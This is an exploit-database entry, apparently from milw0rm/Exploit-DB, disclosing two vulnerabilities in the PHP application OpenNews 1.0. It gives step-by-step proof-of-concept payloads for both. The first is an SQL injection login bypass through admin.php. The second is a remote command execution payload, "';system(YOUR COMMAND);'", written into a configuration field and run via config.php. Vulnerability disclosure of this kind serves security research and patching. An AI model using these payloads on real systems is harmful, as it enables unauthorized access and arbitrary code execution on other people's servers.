EXPLOITS

opennews 1.0 - SQL Injection / Remote Code Execution

Author: SirGod
type: webapps
platform: php
port: 
date_added: 2009-08-04  
date_updated:   
verified: 1  
codes: OSVDB-56813;CVE-2009-2736;OSVDB-56812;CVE-2009-2735  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 9371.txt  

####################################################################
[+] OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
####################################################################

[+] Download : http://sourceforge.net/projects/opennews-sun/

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

     http://127.0.0.1/admin.php

     Username : admin ' or ' 1=1
     Password : anything

[+] Remote Command Execution

  - PoC

    Go to

        http://127.0.0.1/admin.php?action=setconfig

    in the Overall Width write

        ';system(YOUR COMMAND);'

    then go to

        http://127.0.0.1/config.php

    to see your command result.


####################################################################

# milw0rm.com [2009-08-05]